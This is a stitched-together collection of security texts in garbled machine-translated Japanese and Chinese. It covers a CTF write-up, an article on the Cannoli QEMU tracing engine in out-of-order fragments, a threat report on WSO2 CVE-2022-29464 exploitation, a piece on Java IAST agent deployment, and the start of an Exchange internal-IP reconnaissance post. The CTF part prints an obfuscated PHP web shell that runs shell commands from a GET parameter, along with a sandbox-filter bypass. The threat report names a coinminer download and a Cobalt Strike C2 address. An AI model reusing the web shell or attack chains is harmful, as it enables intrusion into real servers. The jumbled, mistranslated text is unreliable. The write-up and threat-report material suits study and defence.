バックカバー画像を削除し、ドメインボックスに材料を入手してからMD5を入手してください。 もちろん、肉眼でビデオのあいまいな情報を直接読むことができれば、質問者はそれを認識します。 フラグを詰めてフラグを取得{6C3EA51B6F9D4F5E}。 Hertaの研究 HTTPエクスポートGet Upload.php ？php $ payload=$ _ get ['payload']; $ payload=shell_exec（$ payload）; $ bbb=create_function（ base64_decode（ 'j'.str_rot13（' t '）。' 5z '）、 base64_decode（ 'jg5zpwjhc2u2nf9lbmnvzguojg5zktsncmzvcigkat0woyrpphn0cmxlbigkbnmpoyrp kz0xkxsnciagiCbpzigkasuy'.str_rot13（ 'cg0kxkfapvntvpntvpntwt5mjleckg1m'）。 'dhjfcm90mtmojg5zwyrpxsk7dqo GICAGFQ0KFQ0KCMV0DXJUICRUCZS=='） ）; echo $ bbb（$ payload）; ？str_rot13（）関数は、文字列上でrot13エンコードを実行します。 ROT13エンコーディングは、各文字をアルファベット内の13文字で前進させることです。数字と非アルファベット文字は同じままです。 '。' PHPのコネクタなので、アップロードされたPHPコードは実際には次のとおりです。 ？php $ payload=$ _get ['payload']; $ payload=shell_exec（$ payload）; $ bbb=function（$ ns）{ $ ns=base64_encode（$ ns）; for（$ i=0; $ i strlen（$ ns）; $ i ++）{ if（$ i％2==1）{ $ ns [$ i]=str_rot13（$ ns [$ i]）; } } $ nsを返します。 }; echo $ bbb（$ payload）; コードによると、結果はbase64によってエンコードされていることがわかり、その後、内部の奇数桁の文字がstr_rot13でエンコードされていることがわかります。 次に、旗を要求するパッケージを見つけてそれをデコードしますが、それが偽の旗であることがわかります。 ？php $ result='zzxuz3tmsqnsagrsumbsnzvodkkkzavzla0tct=='; $ bbb=function（$ ns）{ for（$ i=0; $ i strlen（$ ns）; $ i ++）{ if（$ i％2==1）{ $ ns [$ i]=str_rot13（$ ns [$ i]）; } } $ nsを返します。 }; Echo Base64_Decode（$ BBB（$ result））; ？後で、私はf.txtを見つけに行き、flag:flagを解決しました{sh3_i4_s0_6eaut1ful。} bgmは壊れていますか？ Audacityでオーディオを開くと、右チャネルの終わりに情報があり、左チャネルがノイズがあることを簡単に見つけることができます。 質問の説明によると、それはダイヤルトーンですが、直接リリースすることはできないため、ノイズを削除する必要があります [ステレオから個別]を選択してモノ»左チャンネルをオフにします»エクスポート キーサウンドによる復号化Webサイト（つまり、DTMFデコーダー フラグをラップするだけです{} AmazingGame プライベートAndroidディレクトリは/data/user/0/パッケージ名にあります Android shared_prefsは通常、ソフトウェア構成データを保存するために使用されます ファイルを変更して、合格レベルデータを変更します 最初のレベルを通過した後、ゲームをオフにします（これは非常に重要です） 携帯電話の実行へのADBリンク シェル ADBシェル run-as com.pangbai.projectm CD shared_prefs cat net.osaris.turbly.jumpyball.xmlxml ？xmlバージョン='1.0'エンコード='utf-8' standalone='yes'？ 地図 boolean name='cockpitview' value='true' / int name='lockedsolotracks' value='2' / int name='lockedtracks' value='2' / int name='best0m0' value='130' / int name='lockedships' value='1' / int name='userid' value='9705893' / /マップソフトウェアには23のレベルがあり、ロック解除数のレベルを23に変更します 通常、ADBプッシュを使用してファイルを変更する必要があります。ここでは、利便性のために2を直接23に置き換えます。 シェル SED -I 's/2/23/g' net.osaris.turbly.jumpyball.xmlゲームを開き、すべてのレベルがロック解除されていることがわかります。自由に23のレベルをプレイします。ゲームが終わったときにフラグを取得できます。 ez_jail この質問の元の意味は、C ++の（マクロ）置換演算子の知識のみをテストすることです。 キーワードが正しく使用されている限り、オンラインで検索できますが、質問セットの人の実行は壊れており、テスト中に多くの予期しない結果が表示されます。各知識ポイントの難しさを検討した後、予想外の難しさは予想される解決策とそれほど変わらないと感じたので、単に半開きの質問になりました。 コードのチェック関数を観察します Python def cpp_code_checker（code）: code:の「#include」の場合 falseを返す、「コードにはライブラリを含めることは許可されていません」 code:の「#define」の場合 falseを返し、「コードはマクロの使用が許可されていません」 '{' in codeまたは '}' in code:の場合 戻る （ 間違い、 'コードは `{`または `}`を使用することは許可されていませんが、単一の関数である必要があります」 ）） Len（code）100:の場合 「コードが長すぎる」と虚偽を返す trueを返す、「コードは有効」です 'このコードは#include #defineなどをフィルタリングしているようですが、学生が＃をバイパスできることを生徒が気付いたかどうかはわかりません。 したがって、ペイロードはこのようなものになる可能性があります（ソリューションを提供してくれたMaster Yuroに感謝します） cpp ＃define user_code（）write（stdout_fileno、 'hello、world！'、13）;

內部機制 MempipeMempipe是一種超高速的IPC機制，它使Cannoli能夠第一時間工作。它提供了一個低延遲的API，用於通過Linux上的shm*() API將緩衝區從一個進程傳輸到另一個進程。具體來說，它是一種基於輪詢的IPC機制，這意味著使用者在新數據到達之前對郵箱進行熱輪詢。 你可以在mempipe/src/lib.rs 中找到所有代碼。其核心有兩個結構，一個SendPipe 和一個RecvPipe。 Const泛型SendPipe和RecvPipe都使用兩個Const泛型，分別是CHUNK_SIZE和NUM_BUFFERS泛型。 CHUNK_SIZE以字節為單位定義每個緩衝區的大小。這個塊的大小越小，需要進行的傳輸就越多，緩存中的數據就越多。這實際上是緩衝區的大小，該緩衝區將被數據填滿，填滿時會自動刷新。 NUM_BUFFERS泛型指定內存管道中的緩衝區數量。實際上，這就是啟用來自QEMU 的非阻塞數據流的原因。當QEMU向另一個緩衝區生成數據時，用戶可以處理一個緩衝區。建議將此值設置為大於1，否則QEMU將在處理緩衝區時阻塞，但不要設置得太高，否則只會增加可能用於流媒體的內存數量，導致更多的緩存不穩定。 這兩種泛型都是可調的，會顯著影響性能。就我個人而言，我發現將CHUNK_SIZE設置為L1緩存的1/2(在大多數x86系統上是16kib)，將NUM_BUFFERS設置為4似乎是一個不錯的基準。 管道創建創建一個SendPipe 很簡單。你調用SendPipe:create() 並返回一個SendPipe。在內部，它生成一個隨機的64 位數字，用作管道標識符。然後它以這個管道ID 作為文件名創建一個共享內存文件，設置共享內存的長度，並將其映射為可讀寫。我們還在共享內存中放置了一個小的標頭文件，這樣我們就可以確保當我們連接到管道時，它與我們期望的參數匹配。 打開管道創建RecvPipe 也很簡單，只需使用分配給SendPipe 的UID（可從SendPipe:uid() 獲得）調用RecvPipe:open()。然後，確保RecvPipe的Const泛型與SendPipe的Const泛型相匹配(包括在共享內存的元數據中)，最後，它將映射內存並返回管道。 數據產生要從SendPipe生成數據，你需要調用SendPipe:alloc_buffer。這給了用戶一個只寫的ChunkWriter，它可以用ChunkWriter:send來寫。調用alloc_buffer會在熱循環中阻塞，直到緩衝區可用。重要的是，用戶要以盡可能快的速度使用數據，以防止發送方停頓太長時間。使用正確的可調參數，用戶應該總是領先於運營程序，因此alloc_buffer 應該立即有效地返回。 當通過alloc_buffer 獲得緩衝區時，應保證為發送進程所有，因此我們可以安全地可變地寫入它。內存是未初始化的，但沒關係，因為ChunkWriter 只提供寫入訪問，因此讀取未初始化的內存是不可能的。 數據處理在撰寫本文時，我對使用數據的最終設計並不滿意。首先，你從RecvPipe:request_ticket 請求一個票據。這有效地讓管道知道你對數據感興趣，並為你獲取將要處理的數據的唯一ID。然後，你調用RecvPipe:try_recv 來使用票據，並將返回新票據（如果數據已處理）或舊票據（如果recv 沒有任何數據）。 try_recv 是非阻塞的。如果不存在數據，則立即返回。 票據模型有點奇怪，但它允許我們循環分配用戶線程到緩衝區。這會在處理線程之間盡可能均勻地分配處理負載。它也很重要，因為它決定了正在處理的數據的順序，這對於我們有序的跟踪要求很重要。 我想找到對這個API的改進，但我還沒有這麼做，主要是因為它工作得很好，速度超級快。 QEMU補丁Cannoli 包含一些QEMU 的補丁。你可以在文件qemu_patches.patch 的repo 中找到這些內容。這些是目前最新的QEMU eec398119fc6911d99412c37af06a6bc27871f85 的補丁，但是它們被設計為在QEMU 版本之間可以移動。 這些補丁向QEMU引入了大約200行代碼。 QEMU 掛鉤當-cannoli 命令行參數傳入QEMU 時，它會觸發Cannoli 共享庫的dlopen()。然後它獲取Cannoli 條目點的地址（稱為query_version32 或query_version64）。 32 位或64 位後綴不是指共享庫本身的位數（目前所有東西都只支持x86_64 作為主機/JIT 目標），而是指被模擬的目標的位數。所有的掛鉤都設計為以不同的方式處理32 位和64 位目標，因為這會減小數據流的大小，從而在模擬32 位目標時最大限度地提高性能。 調用query_versionX 返回對Cannoli 結構的引用，該結構定義了QEMU 將在某些事件上調度的各種回調。 登記預訂因為我們將在幾乎每條目標指令上生成數據，所以我們實際上希望在寄存器中存儲少量關於跟踪緩衝區和長度的元數據。在內存中執行此操作將非常耗能，因為它將導致對每個目標指令進行多個內存訪問。 因此，我們對tcg_target_reg_alloc_order打補丁，以從QEMU寄存器調度器中刪除x86_64寄存器r12、r13和r14。這可以防止QEMU在其JIT中使用它們，從而使我們在JIT執行期間獨占地控制這些寄存器。這些寄存器是基於SYS-V ABI被調用保存的寄存器。這一點很重要，因為QEMU可以在JIT中調用C函數，我們希望確保在發生這些調用時保留寄存器。 JIT進入和退出由於我們保留了對一些寄存器的控制權，因此我們需要確保這些寄存器在QEMU JIT 進入和退出時被正確設置和保存。 JIT 條目和出口是QEMU 從運行QEMU C 代碼過渡到運行生成的JIT 代碼，再回到退出QEMU 的邊界。這些條目和出口是在tcg_target_qemu_prologue() 函數中為每個JIT-target-architecture 定義的。這有效地設置上下文、調用JIT 並恢復上下文。對於熟悉操作系統開發的人來說，這實際上是一種有效的上下文切換。 我們在這裡添加了一些掛鉤，允許我們調用Rust 共享庫中的代碼。具體來說，就是jit_entry() 和jit_exit() 函數。這些在JIT 的上下文中被調用，並提供對r12、r13 和r14 寄存器的訪問，以便可以在每次JIT 進入和退出時保存和恢復它們。 在我們的示例中，$entry 函數(cannoli/cannoli_server/src/cannoli_internals.rs) 從mempipe中分配一個緩衝區，在r12 中設置一個指向它的指針，在r13 中設置一個指向它末尾的指針，然後返回。這將通過執行JIT建立r12和r13的狀態。 $exit函數決定JIT產生的字節數(由r12中的當前指針表示，它已經是高級了)，並通過IPC將數據發送給用戶。 加載和存儲對於加載和存儲，我們鉤住了tcg_out_qemu_ld()和tcg_out_qemu_st()。這些函數是特定於x86_64- jit目標的函數，它們為到來賓地址空間的內存操作提供了捕獲所有接收器(catch-all sink)，用於各自的加載和存儲。 指令執行對於指令執行，我們掛鉤tcg_gen_code()，特別是INDEX_op_insnstart() QEMU TCG 指令，它表示指令開始執行的地址。 JIT shellcode 注入內存和指令掛鉤都做同樣的事情。它們在Rust代碼中調用一個回調函數，該回調函數被傳遞給qemu提供的緩衝區和長度。然後，此回調可以使用直接發送到JIT 流中的shellcode 填充QEMU 提供的緩衝區。這為我們的Rust 庫提供了將任意代碼注入JIT 流的能力。如果你是高級用戶，則可以通過為不同的指令提供不同的掛鉤來做一些非常酷的事情。 Cannoli服務器Cannoli 服務器（通過掛鉤加載到QEMU 中）已經預定義了一些掛鉤。這些是指令和內存操作掛鉤。 Cannoli 的整個流程（在其默認配置中）是在JIT 條目分配一個IPC 緩衝區，在JIT 期間填充它，如果它填滿了就刷新它，在JIT退出時也刷新它。 默認的指令和內存掛鉤執行最少的組裝，以確保跟踪緩衝區中有足夠的空間，刷新它（通過回調到Rust，如果它是滿的，它可以在這裡調用Rust，因為這些事件“很少”發生，例如。每幾千條目標指令），最後將內存或指令執行指令以相對簡單的格式存儲到跟踪中。 Cannoli 服務器共享對象包含所有掛鉤和代碼的兩個副本，這樣同一個共享對象就可以同時用於32位和64位目標，而無需重新編譯！ 這些掛鉤直接寫入mempipe 提供的緩衝區，就這麼簡單！任何更複雜的內容都將嚴重損害性能！ Cannoli最後，Cannoli 本身就是一個用戶庫。由於我們每秒可能處理數十億條指令，所以我們將所有Cannoli設計成使用線程。這允許你在多個線程上執行相對複雜的跟踪使用和處理，同時不會影響QEMU單線程任務。 這很簡單。 Cannoli 創建請求的線程數，並在那些等待數據的線程上旋轉。使用mempipe 票據系統，每個線程都要排隊等待數據進入。當緩衝區出現他們的票號時，該線程處理來自QEMU 的數據。 由於並行處理意味著跟踪不再是有序的，我們允許用戶為每個事件返回他們自己的結構，然後在排序後將其返回給他們。這允許用戶進行線程處理，直到他們需要排序。 總結盡可能快地將數據從一個進程傳輸到另一個進程是一個非常困難的問題。關於處理器的詳細信息，如緩存一致性，對於獲得高吞吐量至關重要，特別是在希望盡可能防止生成線程阻塞時。

趨勢科技的研究人員觀察到漏洞CVE-2022-29464 自4 月以來就在野外被利用，該漏洞允許不受限制的文件上傳，從而進行任意遠程代碼執行(RCE)。在4 月份披露和修補後，該漏洞被評為9.8級，並影響了許多WSO2 產品。它不需要用戶交互和管理權限即可濫用，並且可以在設備未打補丁的情況下攻擊網絡。 WSO2產品的漏洞於4月18日被一位名為Orange Tsai的用戶披露，並隨後給出了相應的CVE ID，並進行了修補。 4月20日，一位名為“hakkivi”的GitHub 用戶發布了該漏洞利用的證明，第二天研究人員就觀察到了對受影響環境的攻擊，大約一周後，受影響環境的Metasploit 模塊就可用了。該漏洞會影響WSO2 API Manager 2.2.0 及更高版本、Identity Server 5.2.0 及更高版本、Identity Server Analytics 5.4.0 至5.6.0、Identity Server as Key Manager 5.3.0 及更高版本、Open Banking AM 1.4.0 及更高版本，以及Enterprise Integrator 6.2.0 及以上版本。 漏洞濫用 感染鏈我們觀察到安裝了濫用該漏洞的web shell，並查看此漏洞的概念證明，一個惡意Jakarta Server Pages（.JSP，以前的JavaServer Pages）文件可以上傳到以下位置。 但值得注意的是，許多觀察到的攻擊在現有的PoC實現中是非常持久的。 然而，在分析過程中，研究人員在其他安裝了web shell 的位置發現了其他上傳和安裝的web 應用程序資源(.WAR) 文件，這可能是由於Metasploit 模塊的啟動。從這個.war 文件中，Payload.class 由用戶環境中的合法Java 應用程序服務器函數提取： 位置/authenticationendpoint/似乎是WSO2產品中常見的位置，我們發現在使用. jsp或. war文件受影響的7個產品中，至少有4個出現了針對該位置以及其他位置的web shell安裝。 在web shell安裝之後，Java進程會調用wget命令來獲取auto.sh文件。我們分析了這個文件，發現它是一個coinminer安裝程序（被趨勢科技檢測為Trojan.SH.MALXMR.UWELO），很可能是通過濫用漏洞的web shell安裝的。 追踪可疑的執行 觀察到的wget 命令執行 此外，研究人員還觀察到從Java進程運行的chmod命令對權限的更改。我們看到，攻擊者可以使用與Java 進程所有者相同的權限執行任意操作系統命令。在利用4 月記錄的Spring4Shell (CVE-2022-22965) 漏洞的Mirai 殭屍網絡惡意軟件樣本中也觀察到了chmod 命令。 跟踪chmod 命令 chmod 命令執行 Vision One的燕麥功能將這些命令執行顯示為“低風險”。由於一些執行和流程被團隊和管理員用作常規操作(如wget和chmod)的一部分，低風險級別的檢測通常會與高風險或關鍵風險級別的項目相結合進行分析，因此會被跟踪： OAT 顯示wget 和chmod 命令執行情況 為Linux開發了Cobalt Strikebeaconchmod命令執行後，進程“LBcgqCymZQhm”（被趨勢科技檢測為Backdoor.Linux.COBEACON.AA）也從Java 進程中執行。該進程在Linux 操作系統上運行，並執行到IP 地址179[.]60[.]150[.]29:4444 的出站連接。分析發現，該IP地址是一個惡意的Cobalt Strike回調目的地和命令與控制(CC)服務器，研究人員自2021年3月以來一直在跟踪和阻止該服務器。 在最初的調查中，研究人員將這個207 字節的ELF 可執行文件確定為與Linux 兼容的Cobalt Strike beacon。考慮到該環境運行在Linux操作系統上，而Cobalt Strike只提供針對Windows的beacon，因此該示例很可能是由攻擊者開發的，以與Cobalt Strike 兼容。 跟踪未知的可疑執行 觀察到與Cobalt Strike 回調建立出站連接的未知流程執行 分析還發現安裝了惡意軟件，例如用於Windows 的Cobalt Strike beacon（趨勢科技檢測為Backdoor.Win64.COBEACON.SMA）和hacktool fscan（趨勢科技檢測為HackTool.Win64.NetScan.AE)，尤其是在Windows 環境中。雖然攻擊者應該執行放置在受影響計算機上的文件，但執行被趨勢科技的解決方案終止。 總結使用受影響產品的用戶應按照WSO2 安全公告中確定的步驟立即修補或應用建議的臨時緩解程序。在進行初步分析後，趨勢科技的研究人員還在4 月發布了初步通知，通知了用戶和組織。在漏洞披露三天后和PoC 發布後的第二天，已經觀察到濫用此漏洞的攻擊，並且在安裝web shell 方面特別激進。在Linux 和Windows 環境中也觀察到了Cobalt Strike beacon。由於沒有為Linux 提供官方beacon，研究人員觀察到的兼容beacon應該是由攻擊者準備的。我們還觀察到用於Windows和Linux環境下加密貨幣挖礦的掃描工具fscan。通過對該漏洞的矢量分析，可以很容易地利用這一漏洞，因為使用受影響產品的服務器可以通過谷歌或Shodan搜索找到。此外，攻擊者似乎一直在實施現有的PoC，而Metasploit 模塊的可用性是網絡犯罪分子利用漏洞的關鍵一步。 雖然此前有報導稱，趨勢科技在2021年9月發現了一個與linux兼容的Cobalt Strikebeacon，其名稱為Trojan.Linux.VERMILLIONSTRIKE.A，但我們的分析發現，這個beacon具有不同的結構。研究人員還觀察了同一家族beacon的其他樣本在其他受漏洞影響的環境中的安裝情況。考慮到這一點，研究人員預計未來在易受攻擊的Linux環境中會更看到這個家族的樣本，因為安裝後門beacon表明，與安裝挖礦程序相比，可能會發生更多惡意和破壞性活動。 WSO2 產品的應用行業非常廣泛，例如醫療保健、銀行、能源、教育、政府和通信等。快速掃描他們的API Manager 的GitHub 頁面可以顯示至少每天提交一次的源代碼。 與其他服務器相比，WSO2 身份服務器可以被認為是攻擊者滲透的最有價值的資產之一，因為它是一個開源身份訪問管理(IAM) 產品。訪問IAM 服務器的攻擊者可以隨意訪問在WSO2 產品服務器下具有訪問管理權限的所有服務和用戶數據。負責清理的管理員和IT團隊應該檢查WSO2產品，看看是否有任何不屬於該產品的文件、用戶和/或流程，並將它們全部刪除。

場景導入目前IAST應用環境中，Java應用佔據了90%以上。傳統IAST對Java應用進行Agent安裝時，需要修改Tomcat、WebLogic等的啟動腳本，增加javaagent參數來實現Agent的安裝加載。 對於安裝人員來說，Agent安裝需要知悉Web容器的安裝路徑，並且需要對每個容器的啟動腳本進行修改，最後重啟Web容器，完成Agent的安裝。 在實際的使用過程中，部署人員常常由於腳本修改不當、找不到Web容器等問題導致安裝失敗。除此之外，當團隊需要對幾百上千個應用進行安裝測試時，對安裝人員來說將是一項異常艱鉅的任務。此外，若後期需要對Agent進行升級或者卸載操作也將是一場運維災難。 Agent部署技術基礎JDK從1.5版本開始引入了java.lang.instrument包，可以通過其更方便地實現字節碼增強。核心功能由java.lang.instrument.Instrumentation提供，這個接口的方法提供了註冊類文件轉換器、獲取所有已加載的類等功能，允許對已加載和未加載的類進行修改。 在JDK5中，開發人員只能在JVM啟動時指定一個java agent，在premain中操作字節碼，這種Instrumentaion方式僅限於main方法執行前，存在很大的局限性。從JDK6開始引入了動態Attach Agent的方案，可以在JVM啟動後任意時刻遠程加載Agent，jstack、jps、jmap等工具都是利用Attach API來實現的。 Instrumentation的第一種使用方式是通過JVM的啟動參數-javaagent來啟動，一個典型的使用方式如下所示: 在SecPoint.jar中，AgentMain類有一個靜態的premain方法，JVM在類加載時會先執行AgentMain類的premain方法，再執行Java應用本身的main方法。在premain方法中可以對class文件進行修改。這種字節碼修改的方式並不會對源代碼做任何修改，但是可以實現對JVM中的類的動態修改和增強，從而捕獲應用程序的數據傳播過程。 Instrumentation的第二種方式是在JVM運行以後在任意時刻通過Attach API遠程加載Agent的jar包。在啟動時加載的Agent會調用premain方法，動態Attach的Agent會執行agentmain方法。 Attach的發起端是一個獨立的java程序，這個java程序會調用`VirtualMachine.attach`方法開始和目標JVM進行跨進程通信，從而實現字節碼增強。 安全玻璃盒經驗目前，【安全玻璃盒】孝道科技IAST為了滿足真實場景下大規模部署的場景，針對Java Agent的安裝方式做了多種方式的功能實現，使得用戶能夠根據實際需求靈活選擇部署方式，盡可能將Agent安裝過程自動化，減輕部署及後續運維的工作量。 1.手動java agent部署這種方式即為傳統的javaagent部署方式，首先需要將Agent下載至應用服務器中，之後修改對應Web容器的啟動腳本（例如，tomcat需要修catalina.sh或者catalina.bat），在指定位置添加javaagent等參數後重啟容器即可完成安裝部署。 2.自動java agent部署該方式由安裝人員或者在後台指定Web容器的位置，並Agent下載至應用服務器後，通過使用“install”參數啟動Agent後，將自動修改Web容器啟動腳本中的啟動腳本，在其中添加對應的參數。例如： 3.Attach部署Attach部署方式需要JDK6以上版本，並且需要服務器中具備JDK環境（JRE不包含tools.jar和attach.so）。將Agent下載至應用服務器後，通過啟動Agent並選擇需要綁定的java進程，即可針對指定java服務完成Agent安裝部署。 4.一鍵腳本部署自動化腳本的方式能夠通過統一的腳本實現對不同應用環境的Java服務進行Agent部署安裝，當在應用服務器運行腳本後，能夠自動從後台服務器下載Agent至服務器中，並自動對java進行進行Attach安裝。該方式對於大規模部署及容器等環境極為適用。

Cannoli是一款面向qemu用戶的高性能跟踪引擎，是一個Rust 編寫的Python(Python 3.6.5) 編譯器，旨在評估對性能有負面影響的Python 語言特性。它可以記錄所執行的PC 以及內存操作的軌跡。 Cannoli 旨在以最小的QEMU 執行干擾記錄這些信息。這意味著QEMU 需要產生一個事件流，並將它們移交給另一個進程來處理更複雜的事件分析。在QEMU JIT執行期間進行分析會大大降低執行速度。 Cannoli可以每秒處理數十億條目標指令，可以處理多線程qemu-user應用程序，並允許多個線程使用來自單個QEMU線程的數據以並行處理跟踪。 性能要求QEMU中有一個trace模塊，可以對於一些函數進行跟踪，例如qemu_malloc， qemu_free等，對於QEMU本身的調試很用幫助。跟踪的一個大問題就是性能。許多簡單的解決方案(如使用Unicorn進行模擬)可能導致每秒只能得到100萬條左右的模擬指令。這聽起來可能很多，但是現代的x86處理器通常每個週期執行2條指令。如果你在4 GHz處理器上運行，運行或啟動需要1秒，通常會執行50 -100億條指令。簡而言之，以每秒1000 萬條指令的速度跟踪這樣的事情對於任何開發或研究週期來說都是非常緩慢的。 僅僅試圖獲取PC 的執行指令地址的完整日誌通常就很困難，更不用說記錄所有內存訪問。 這就不得不用到Cannoli了！ Cannoli 能夠執行QEMU 的完整跟踪，比基本QEMU 執行速度降低約20-80%。這意味著每秒可以獲得大約10 億條目標指令。不過，這會因你的CPU 時鐘頻率、系統噪聲等而有很大差異。我們稍後會詳細介紹性能，因為存在很多細微差別。 Cannoli 經過精心設計，可以將超過20 GiB/s的數據從單個QEMU 線程流式傳輸到多線程跟踪分析過程。 QEMU 補丁作為用戶，最好打個補丁，其中包含大約200 行新添加的內容。這些都是用#ifdef CANNOLI進行控制的，這樣，如果CANNOLI沒有定義，QEMU構建時就完全等同於沒有任何補丁。 這些補丁與用戶沒有太大的相關性，只是知道它們向QEMU添加了一個-cannoli標誌，該標誌期望獲得到共享庫的路徑。這個共享庫被加載到QEMU中，並在JIT的不同位置調用 要打補丁，運行執行以下命令： git am qemu_patches.patch Cannoli服務器加載到QEMU 中的共享庫稱為Cannoli 服務器。該庫在cannoli_server/src/lib.rs 中公開了兩個基本回調函數。 這些掛鉤為用戶提供了一個機會來決定是否應該掛鉤給定的指令或內存訪問。返回true（默認值）會導致檢測指令。返回false 意味著沒有向JIT 添加任何檢測，因此QEMU以高速模擬的方式運行。 當QEMU提取目標指令時，將調用此API。在這種情況下，提取是模擬器的核心操作，它在其中反彙編目標指令，並將其轉換為IL 或JIT 到另一個架構中執行。由於QEMU緩存它已經提取的指令，這些函數被稱為'rarely'(與指令本身執行的頻率有關)，因此這是你應該放入智能邏輯以過濾掛鉤內容的位置。 如果掛載少量指令，該工具的性能消耗幾乎為零。 Cannoli旨在為完全跟踪提供非常低的消耗，但是如果你不需要完全跟踪，你應該在這個階段進行過濾。這從一開始就防止了JIT被檢測到，並為最終用戶提供了一種過濾機制。 Cannoli客戶端然後Cannoli 有一個客戶端組件，客戶端的目標是處理QEMU 產生的海量數據流。此外，Cannoli 的API 在設計時考慮了線程，因此單個線程可以在qemu-user 中運行，並且可以通過線程化分析來完成對該流的複雜分析，同時在QEMU 本身中獲得最大的單核性能。 Cannoli 公開了一個標準的Rust 特徵樣式接口，你可以在你的結構上實現Cannoli。作為這個特徵的實現者，你必須實現init。這是你為單線程可變上下文Self 以及多線程共享不可變上下文Self:Context 創建結構的位置。 然後，你可以選擇實現以下回調： 這些回調是相對不言自明的，除了線程方面。三個主要的執行回調exec、read 和write 可以從多個線程並行調用。因此，這些不是按順序調用的。這是應該進行無狀態處理的地方。它們也只有對Self:Context 的不可變訪問，因為它們是並行運行的。這是進行任何不需要知道指令或內存訪問的順序/順序的處理的正確位置。例如，應在此處完成從pc 轉換為符號+ 地址的符號應用，以便你可以進行符號化跟踪。 所有主要的回調，exec、read 和write，都返回一個Option 然後，該跟踪通過跟踪回調完全按順序向用戶公開。跟踪回調函數是從各種線程調用的，例如，你可能在不同的TID 中運行，但是，它是否確保始終按順序和相對於執行的順序調用。因此，你可以獲得對self 的可變訪問，以及對共享Self:Context 的引用。 我知道這是一個奇怪的API，但它有效地允許並行處理跟踪，直到你絕對需要它是連續的。我希望它不會讓最終用戶感到困惑，但是處理10億條指令/秒的數據需要在消費者端進行線程處理，否則QEMU就會成為瓶頸！ 注意：除非另有說明，否則此處的性能數據是基於我的Intel(R) Xeon(R) Silver 4310 CPU @ 2.10GHz。啟用超線程，啟用turbo，128 GiB RAM @ 2667 MHz w/8內存通道。 在高層次上，整個設計圍繞著大量數據的運營程序（在JIT 中運行的QEMU 線程）。對於Cannoli，我們專門針對QEMU 的QEMU 單線程吞吐量進行優化，以便我們可以對長時間運行或大型進程（如Web 瀏覽器）進行內省。 這與縮放不同，在縮放中你並不真正關心單個線程的性能，而是整個系統。在我們的示例中，我們希望支持每秒從單個QEMU 線程流式傳輸數十億條指令，同時使用線程用戶對這些數據進行相對複雜的分析。 基本基准在examples/benchmark中，你可以找到一個運行小mipsel二進製文件的基準，該二進製文件只是在一個循環中執行一堆nop。這意味著對PC跟踪的性能進行基準測試。 要使用此基準，請啟動基準客戶端： cdexamples/benchmarkcargorun--release然後使用cannoli'd QEMU 運行基準測試！ /home/pleb/qemu/build/qemu-mipsel-cannoli~/cannoli/target/release/libcannoli_server.so./benchmark在示例中，我得到以下信息（在我的例子中，我使用了benchmark_graph）。 在單個QEMU線程上跟踪大約每秒22億條指令。 Mempipe在低性能消耗的情況下獲得這種級別的跟踪需要一些非常獨特的設計。 Cannoli的核心是一個名為mempipe的庫。在高層次上，這是一種延遲極低的共享內存IPC機制。 最重要的是，JIT 掛鉤的設計是盡可能地減少消耗，特別注意分支預測、代碼大小（用於減少icache 污染）等細節，並註意目標架構的位數以減少運行32 位目標時產生的數據量。 事實上，你會發現幾乎所有的API，除了高級Cannoli 特徵，利用Rust 宏定義相同代碼的兩個副本，一個用於32 位目標，一個用於64 位目標。這略微增加了代碼複雜性，但當我們飽和內存帶寬時，我們希望特殊情況下，32位目標產生的有效數據只有1/2小指針大小。 核心mempipe IPC 機制允許在適合L1 緩存的進程之間傳輸緩衝區。由於這些緩衝區非常小，IPC 數據包的頻率非常高。這很難實現。我可以對1字節的有效負載每秒進行大約1000萬次傳輸。這有效地飽和了英特爾芯片對緩存一致性通信量所能做的事情。 緩存一致性如果你不熟悉緩存一致性，那麼你的處理器就是這樣做的，以確保內存在所有處理器上都是相同的值，即使它存儲在多個緩存中。 簡單的模型是MESI 模型。這定義了每個緩存行可以處於的狀態。 Modified ——存儲在高速緩存行中的數據是唯一準確的內存副本； Exclusive ——存儲在緩存行中的數據是乾淨的（緩存行和內存中的數據相同），這是系統上緩存行中內存的唯一副本； Shared ——存儲在高速緩存行中的數據是乾淨的，並且系統上有多個不同的高速緩存存儲相同的信息； Invalid——在軟件層面對我們沒有任何意義，它只是意味著緩存行未使用； 現在，現代處理器使用稍微複雜一些的緩存一致性模型，但我們在這裡不做深入探討。本質上是一樣的。 需要注意的是，任何時候內核需要同步它們的緩存，它們需要訪問L2緩存，有時甚至需要訪問內存。 進入修改狀態需要大量的性能消耗。想想看，為了獲得對內存的獨占訪問，你必須有效地使用鎖來獲得控制。從硬件的角度來看，你必須告訴其他所有的核心使其對給定行的緩存無效，並且在其他核心這樣做之前你不能獲得所有權。這實際上類似於執行Mutex:lock()。 然而，從專用到修改是便宜的。這是專用MESI 狀態的全部意義所在。它允許處理器知道它在轉換到修改時不必通知其他內核，因為它已經知道是內存的唯一副本。 之所以談這個，是因為在進行IPC 時，緩存一致性很重要。至關重要的是，在我們的熱循環中，我們不會導致緩存一致性流量。從更高的層次上來說，這意味著我們需要能夠通過只讀方式對所有數據結構進行熱輪詢。這允許多個用戶線程輪詢郵箱（例如，所有用戶都在輪詢處於共享狀態的緩存行）。當產生一個完整的緩衝區時，才會消耗寫入內存的緩存一致性。運營程序刷新緩衝區的行為將導致所有用戶核心的緩存失效，並且他們必須在後續訪問時通過L2 獲取內存。此獲取也必須將運營程序的緩存狀態從modified更改為shared。 因此，我們設計了mempipe 庫來輪詢一組郵箱，該郵箱保證與正在傳輸的數據位於不同的緩存行上。如果我們將傳輸緩衝區與郵箱放在同一緩存行上，那麼將會出現嚴重的緩存不穩。

0x00 前言在滲透測試中，為了蒐集信息，常常需要從外網獲得Exchange服務器的內網IP，公開資料顯示msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持這個功能，但是這個插件公開於2012年，已不再適用於Exchange 2013、2016和2019，本文將要介紹一種更為通用的方法，開源代碼，記錄細節。 0x01 簡介本文將要介紹以下內容： owa_iis_internal_ip插件介紹 更為通用的方法 Python開源代碼 0x02 owa_iis_internal_ip插件介紹msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持探測Exchange服務器的內網IP，對應kali系統下的位置為：/usr/share/metasploit-framework/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb github上的地址為：https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb 通過閱讀源碼，可以總結出實現原理： 設置HTTP協議為1.0並訪問特定URL 在返回數據中，如果狀態碼為401，在Header中的'WWW-Authenticate'會包含內網IP 在返回數據中，如果狀態碼位於300和310之間，在Header中的'Location'會包含內網IP 